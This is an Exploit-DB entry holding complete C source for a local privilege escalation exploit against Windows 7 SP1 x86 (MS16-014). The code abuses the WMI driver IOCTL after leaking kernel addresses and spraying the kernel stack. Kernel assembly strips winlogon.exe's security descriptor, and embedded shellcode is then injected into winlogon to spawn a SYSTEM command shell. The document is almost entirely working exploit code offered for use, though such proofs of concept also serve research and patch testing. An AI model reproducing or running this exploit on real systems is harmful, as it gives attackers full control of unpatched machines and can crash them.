Microsoft Windows 7 SP1 (x86) - Local Privilege Escalation (MS16-014)

EDB-ID:

40039

Author:

blomster81

Type:

local

Platform:

Windows_x86

Published:

2016-06-29

/* 
# Exploit Title: Elevation of privilege on Windows 7 SP1 x86
# Date: 28/06-2016
# Exploit Author: @blomster81
# Vendor Homepage: www.microsoft.com
# Version: Windows 7 SP1 x86
# Tested on: Windows 7 SP1 x86
# CVE : 2016-0400

MS16-014 EoP PoC created from 
https://github.com/Rootkitsmm/cve-2016-0040/blob/master/poc.cc
Spawns CMD.exe with SYSTEM rights. 
Overwrites HaliSystemQueryInformation, but does not replace it, so BSOD will occur at some point

********* EDB Note *********

ntos.h is available here: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40039.zip

***************************

*/

#include "stdafx.h"
#include <Windows.h>
#include <winioctl.h>
#include "ntos.h"
#include <TlHelp32.h>


typedef union {
	HANDLE Handle;
	ULONG64 Handle64;
	ULONG32 Handle32;
}
HANDLE3264, *PHANDLE3264;

typedef struct {
	ULONG HandleCount;
	ULONG Action;
	HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;
	HANDLE3264 UserModeProcess;
	HANDLE3264 Handles[20];
}
WMIRECEIVENOTIFICATION, *PWMIRECEIVENOTIFICATION;

#define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring

typedef struct {
	IN VOID * ObjectAttributes;
	IN ACCESS_MASK DesiredAccess;

	OUT HANDLE3264 Handle;
}
WMIOPENGUIDBLOCK, *PWMIOPENGUIDBLOCK;

typedef enum _KPROFILE_SOURCE {
	ProfileTime,
	ProfileAlignmentFixup,
	ProfileTotalIssues,
	ProfilePipelineDry,
	ProfileLoadInstructions,
	ProfilePipelineFrozen,
	ProfileBranchInstructions,
	ProfileTotalNonissues,
	ProfileDcacheMisses,
	ProfileIcacheMisses,
	ProfileCacheMisses,
	ProfileBranchMispredictions,
	ProfileStoreInstructions,
	ProfileFpInstructions,
	ProfileIntegerInstructions,
	Profile2Issue,
	Profile3Issue,
	Profile4Issue,
	ProfileSpecialInstructions,
	ProfileTotalCycles,
	ProfileIcacheIssues,
	ProfileDcacheAccesses,
	ProfileMemoryBarrierCycles,
	ProfileLoadLinkedIssues,
	ProfileMaximum

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef struct _DESKTOPINFO
{
	/* 000 */ PVOID        pvDesktopBase;
	/* 008 */ PVOID        pvDesktopLimit;

} DESKTOPINFO, *PDESKTOPINFO;


typedef struct _CLIENTINFO
{
	/* 000 */ DWORD             CI_flags;
	/* 004 */ DWORD             cSpins;
	/* 008 */ DWORD             dwExpWinVer;
	/* 00c */ DWORD             dwCompatFlags;
	/* 010 */ DWORD             dwCompatFlags2;
	/* 014 */ DWORD             dwTIFlags;
	/* 018 */ DWORD				filler1;
	/* 01c */ DWORD				filler2;
	/* 020 */ PDESKTOPINFO      pDeskInfo;
	/* 028 */ ULONG_PTR         ulClientDelta;

} CLIENTINFO, *PCLIENTINFO;

typedef struct _HANDLEENTRY {
	PVOID  phead;
	ULONG_PTR  pOwner;
	BYTE  bType;
	BYTE  bFlags;
	WORD  wUniq;
}HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SERVERINFO {
	DWORD dwSRVIFlags;
	DWORD64 cHandleEntries;
	WORD wSRVIFlags;
	WORD wRIPPID;
	WORD wRIPError;
}SERVERINFO, *PSERVERINFO;

typedef struct _SHAREDINFO {
	PSERVERINFO psi;
	PHANDLEENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;
	ULONG_PTR ulSharedDelta;
	ULONG_PTR awmControl;
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO, *PSHAREDINFO;

#define IOCTL_WMI_RECEIVE_NOTIFICATIONS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)

typedef ULONG(__stdcall *g_ZwMapUserPhysicalPages)(PVOID, ULONG, PULONG);
typedef NTSTATUS(_stdcall *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
typedef NTSTATUS(_stdcall *_NtQueryIntervalProfile)(KPROFILE_SOURCE ProfilSource, PULONG Interval);

DWORD g_HalDispatchTable = 0;
void* kHandle;
HWND g_window = NULL;
const WCHAR g_windowClassName[] = L"Victim_Window";
WNDCLASSEX wc;
PSHAREDINFO g_pSharedInfo;
PSERVERINFO g_pServerInfo;
HANDLEENTRY* g_UserHandleTable;

LRESULT CALLBACK WProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

DWORD getProcessId(wchar_t* str)
{
	HANDLE hProcessSnap;
	PROCESSENTRY32 pe32;
	DWORD PID;

	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProcessSnap == INVALID_HANDLE_VALUE)
	{
		return 0;
	}

	pe32.dwSize = sizeof(PROCESSENTRY32);
	if (!Process32First(hProcessSnap, &pe32))
	{
		CloseHandle(hProcessSnap);
		return 0;
	}

	do
	{
		if (!wcscmp(pe32.szExeFile, str))
		{
			wprintf(L"Process: %s found\n", pe32.szExeFile);
			PID = pe32.th32ProcessID;
			return PID;
		}
	} while (Process32Next(hProcessSnap, &pe32));
	return 0;
}

void Launch()
{
	void* pMem;
	char shellcode[] =
		"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
		"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
		"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
		"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
		"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
		"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
		"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
		"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
		"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
		"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
		"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
		"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
		"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e"
		"\x65\x78\x65\x00";

	wchar_t* str = L"winlogon.exe";
	DWORD PID = getProcessId(str);
	HANDLE hEx = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
	pMem = VirtualAllocEx(hEx, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	DWORD res = WriteProcessMemory(hEx, pMem, shellcode, sizeof(shellcode), 0);
	HANDLE res2 = CreateRemoteThread(hEx, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);
}

BOOL leakHal()
{
	_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQuerySystemInformation");
	PRTL_PROCESS_MODULES pModuleInfo;
	DWORD ntoskrnlBase;
	DWORD HalDTUser, HalDTOffset;
	HMODULE userKernel;

	pModuleInfo = (PRTL_PROCESS_MODULES)VirtualAlloc(NULL, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pModuleInfo == NULL)
	{
		printf("Could not allocate memory\n");
		return FALSE;
	}
	NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, 0x100000, NULL);
	ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
	userKernel = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
	if (userKernel == NULL)
	{
		printf("Could not load ntoskrnl.exe\n");
		return FALSE;
	}

	HalDTUser = (DWORD)GetProcAddress(userKernel, "HalDispatchTable");
	HalDTOffset = HalDTUser - (DWORD)userKernel;
	g_HalDispatchTable = ntoskrnlBase + HalDTOffset + 0x9000;
	return TRUE;
}

BOOL setup()
{
	LoadLibraryA("user32.dll");

	wc.cbSize = sizeof(WNDCLASSEX);
	wc.style = 0;
	wc.lpfnWndProc = WProc;
	wc.cbClsExtra = 0;
	wc.cbWndExtra = 0;
	wc.hInstance = NULL;
	wc.hCursor = NULL;
	wc.hIcon = NULL;
	wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
	wc.lpszMenuName = NULL;
	wc.lpszClassName = g_windowClassName;
	wc.hIconSm = NULL;

	if (!RegisterClassEx(&wc))
	{
		printf("Failed to register window: %d\n", GetLastError());
		return FALSE;
	}
	g_window = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName, L"Victim_Window", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
	if (g_window == NULL)
	{
		printf("Failed to create window: %d\n", GetLastError());
		return FALSE;
	}

	g_pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");
	g_UserHandleTable = g_pSharedInfo->aheList;
	g_pServerInfo = g_pSharedInfo->psi;

	return TRUE;
}

DWORD leakWndAddr(HWND hwnd)
{
	DWORD addr = 0;
	HWND kernelHandle = NULL;

	for (int i = 0; i < g_pServerInfo->cHandleEntries; i++)
	{
		kernelHandle = (HWND)(i | (g_UserHandleTable[i].wUniq << 0x10));
		if (kernelHandle == hwnd)
		{
			addr = (DWORD)g_UserHandleTable[i].phead;
			break;
		}
	}
	return addr;
}

VOID SprayKernelStack() {
	g_ZwMapUserPhysicalPages ZwMapUserPhysicalPages = (g_ZwMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "ZwMapUserPhysicalPages");
	if (ZwMapUserPhysicalPages == NULL)
	{
		printf("Could not get ZwMapUserPhysicalPages\n");
		return;
	}
	BYTE buffer[4096];
	DWORD value = g_HalDispatchTable - 0x3C + 0x4;
	for (int i = 0; i < sizeof(buffer) / 4; i++)
	{
		memcpy(buffer + i * 4, &value, sizeof(DWORD));
	}
	printf("Where is at: 0x%x\n", buffer);
	ZwMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
}

__declspec(noinline) int Shellcode()
{
	__asm {
		mov eax, kHandle // WND - Which window? Check this
		mov eax, [eax + 8] // THREADINFO
		mov eax, [eax] // ETHREAD
		mov eax, [eax + 0x150] // KPROCESS
		mov eax, [eax + 0xb8] // flink
		procloop:
		lea edx, [eax - 0xb8] // KPROCESS
		mov eax, [eax]
		add edx, 0x16c // module name
		cmp dword ptr[edx], 0x6c6e6977 // �winl� for winlogon.exe
		jne procloop
		sub edx, 0x170
		mov dword ptr[edx], 0x0 // NULL ACL
		ret
	}
}

int main() {
	DWORD dwBytesReturned;
	HANDLE threadhandle;
	WMIRECEIVENOTIFICATION buffer;
	CHAR OutPut[1000];

	if (!setup())
	{
		printf("Could not setup window\n");
		return 0;
	}


	PVOID userSC = VirtualAlloc((VOID*)0x2a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	kHandle = (void*)leakWndAddr(g_window);
	memset(userSC, 0x41, 0x1000);
	memcpy(userSC, Shellcode, 0x40);


	if (!leakHal())
	{
		printf("Could not leak Hal\n");
		return 0;
	}
	printf("HalDispatchTable is at: 0x%x\n", g_HalDispatchTable);

	DWORD value = (DWORD)userSC;
	PBYTE buff = (PBYTE)&buffer;
	for (int i = 0; i < sizeof(buffer) / 4; i++)
	{
		memcpy(buff + i * 4, &value, sizeof(DWORD));
	}
	printf("What is at: 0x%x\n", buff);

	buffer.HandleCount = 0;
	buffer.Action = RECEIVE_ACTION_CREATE_THREAD;
	buffer.UserModeProcess.Handle = GetCurrentProcess();

	HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hDriver != INVALID_HANDLE_VALUE) {
		SprayKernelStack();

		if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, &buffer, sizeof(buffer), &OutPut, sizeof(OutPut), &dwBytesReturned, NULL)) {
			return 1;
		}

	}
	_NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryIntervalProfile");
	ULONG result;
	KPROFILE_SOURCE stProfile = ProfileTotalIssues;
	NtQueryIntervalProfile(stProfile, &result);
	printf("SYSTEM shell comming\n");
	Launch();
	printf("All done, exiting\n");

	return 0;
}